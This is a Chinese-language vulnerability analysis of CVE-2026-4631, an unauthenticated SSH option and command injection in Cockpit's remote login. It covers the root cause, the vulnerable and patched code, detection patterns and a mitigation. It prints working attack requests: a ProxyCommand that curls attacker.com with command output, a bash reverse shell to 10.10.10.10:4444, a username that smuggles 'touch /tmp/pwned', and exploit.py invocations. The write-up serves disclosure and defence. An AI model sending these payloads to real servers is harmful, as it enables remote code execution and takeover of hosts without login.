| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| 严重性 | 严重(CVSS 9.8) |
| 受影响版本 | Cockpit 327 – 359 |
| 修复版本 | Cockpit 360 |
| CWE | CWE-78:操作系统命令注入 |
| 是否需要认证 | 否 |
| 报告者 | Jelle van der Waa |
Cockpit 的远程登录功能将用户提供的主机名(来自 URL 路径)和用户名(来自 Authorization: Basic 头)直接传递给 OpenSSH ssh 二进制文件,未进行任何验证或清理。
能够访问 9090 端口的未认证攻击者可以构造单个 HTTP 请求,从而:
-oProxyCommand=<cmd>)%r 令牌展开注入 shell 命令两个注入点在凭据验证完成之前触发,意味着无需有效登录即可利用。

在版本 327 之前,Cockpit 使用一个名为 cockpit-ssh 的专用 C 二进制文件(基于 libssh)进行远程连接。从版本 327 开始,该文件被替换为:
python3 -m cockpit.beiboot
该命令调用系统 OpenSSH ssh 客户端。这一变更引入了漏洞,因为新的代码路径将用户可控的值直接传递给 ssh,未进行任何清理。
-- 分隔符SSH 客户端将以 - 开头的参数解释为选项,而非主机名,除非前面有 -- 分隔符。如果没有 --,任何以 - 开头的主机名都会被解析为 SSH 标志。
易受攻击的构造:
ssh [options] <hostname> <remote-command>
安全构造:
ssh [options] -- <hostname> <remote-command>
cockpit-ws(C 代码)和 cockpit.beiboot(Python 代码)均未验证或清理:
Authorization: Basic 头提取的用户名argparse 缺陷(CPython #66623)一个已知的 CPython 缺陷导致 argparse 错误处理以 - 开头且包含空格的自变量,将其视为位置参数而非标志。这使得 -oProxyCommand=evil command 主机名能够通过 Python 参数解析并作为选项到达 ssh。
src/cockpit/beiboot.py — 主要注入点这是最关键的文件。via_ssh() 函数构建 SSH 命令参数列表。
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""构建一个 ssh 命令,在 `dest` 上运行 `cmd`。"""
# 从 dest 解析可选端口(例如 "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# 去除 IPv6 方括号
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# 易受攻击:主机前缺少 '--'
# 如果 host = "-oProxyCommand=evil",ssh 会将其视为选项
destination = ['-p', port, host]
else:
# 易受攻击:原始攻击者输入直接传递给 ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
当 dest = "-oProxyCommand=curl http://attacker.com/id" 时:
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← cockpit 选项
arg2: -oProxyCommand=curl http://... ← 被解析为 SSH 选项(而非主机)
arg3: python3 -ic '# cockpit-bridge' ← 成为"主机名"→ 触发 ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# 已修复:'--' 强制其后的所有内容为位置参数
destination = ['-p', port, '--', host]
else:
# 已修复:添加 '--' 分隔符
destination = ['--', dest]
src/ws/cockpitauth.c — C 层:主机名提取该 C 文件处理初始 HTTP 请求解析并生成 beiboot 进程。
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// 从 URL 路径中提取 "cockpit+=" 之后的所有内容
// 无字符验证——允许破折号、特殊字符
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
返回的主机名在生成 beiboot 进程时直接作为参数传递:
// cockpit_ws_ssh_program 是生成命令模板
// 易受攻击:主机名未经清理即追加
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// 末尾缺少 '--' 意味着主机名可被 Python 的
// argparse 解析为标志(CPython #66623)
// 已修复:末尾的 '--' 确保主机名始终为位置参数
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// 解码 Authorization: Basic base64(user:password)
// 不验证 'user'——允许分号、特殊字符
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' 被传递到凭据中,最终传递给 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // 未清理
...);
}
vendor/ferny/src/ferny/session.py — 第三个注入点捆绑的 ferny 库(用于 SSH 交互)在其子进程调用中存在相同的 -- 缺失问题。
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE 并非普遍可用,因此使用 setsid
process = await asyncio.create_subprocess_exec(
# 易受攻击:硬编码路径 + 目标前缺少 '--'
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
process = await asyncio.create_subprocess_exec(
# 已修复:使用 PATH 查找而非硬编码路径 + 添加 '--'
*('ssh', *args, '--', destination),
env=env,
...
)
containers/ws/cockpit-auth-ssh-key — 容器部署路径该脚本是 Docker/容器化 Cockpit 部署中使用的认证命令。
#!/usr/bin/env python3
import os, sys
# 从环境变量中提取主机
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# 易受攻击:与根本原因相同——主机未经清理即传递给 beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
这是与主 beiboot.py 路径不同的入口点,意味着即使主代码路径已修补,Cockpit 的容器部署仍然独立地存在漏洞。
前提条件: Cockpit 主机上的 OpenSSH < 9.6(OpenSSH 9.6 引入了早期主机名验证,可阻止 shell 元字符)。
HTTP 请求:
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
解码后的 Authorization: invalid:invalid — 任何值均可。
工作原理:
-oProxyCommand=<COMMAND> 作为"主机名"via_ssh() 构建:ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'-oProxyCommand=<COMMAND> 解析为选项(而非主机)python3 -ic '# cockpit-bridge' 作为主机名<COMMAND> 作为 ProxyCommand 执行<COMMAND> 以 cockpit-ws 进程用户身份运行示例 — OOB 回调:
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
解码后的 ProxyCommand:curl http://attacker.com/id``
示例 — 反弹 shell:
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
解码后的 ProxyCommand:bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
%r 令牌注入前提条件: 目标的 ssh_config 包含使用 %r 令牌(远程用户名)的 Match exec 指令。
易受攻击的 ssh_config 示例:
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
HTTP 请求:
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
解码后的 Authorization: x; touch /tmp/pwned; #:invalid
提取的用户名:x; touch /tmp/pwned; #
工作原理:
Match exec 命令之前将 %r 展开为用户名/usr/bin/test x; touch /tmp/pwned; # = blocked_usertouch /tmp/pwned,然后忽略其余部分
修复方案非常简洁——在每个调用 SSH 的位置,在目标参数前添加 --(POSIX 选项结束分隔符)。
src/cockpit/beiboot.py(提交 9d0695647)- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
src/ws/cockpitauth.c(提交 9d0695647)- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
vendor/ferny/src/ferny/session.py(提交 44ec511c99)- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
-- 能修复此问题-- 令牌告诉参数解析器(包括 Python argparse 和 OpenSSH 的选项解析器),其后的所有令牌都是位置参数,而非选项。在 -- 之后,像 -oProxyCommand=evil 这样的值会被视为字面主机名字符串,SSH 随后会将其拒绝为无效——不会执行任何内容。
查找对 Cockpit 登录端点的 HTTP 请求,其中路径组件包含 SSH 选项语法:
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
特别关注:
-oProxyCommand=(向量 1)Authorization: Basic 解码值中的分号(向量 2)# 检查带有可疑参数的 beiboot 生成
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# 检查来自 cockpit-ws 用户的 SSH 调用
journalctl _COMM=ssh | grep -v "^--$"
# 检查已安装版本是否易受攻击
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# 如果版本在 327 到 359 之间(含),则易受攻击
rpm -q cockpit-ws
# 同样的版本检查适用
python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

在 /etc/cockpit/cockpit.conf 中添加:
[WebService]
LoginTo = false
这将完全禁用远程登录功能,防止 beiboot 代码路径被触发。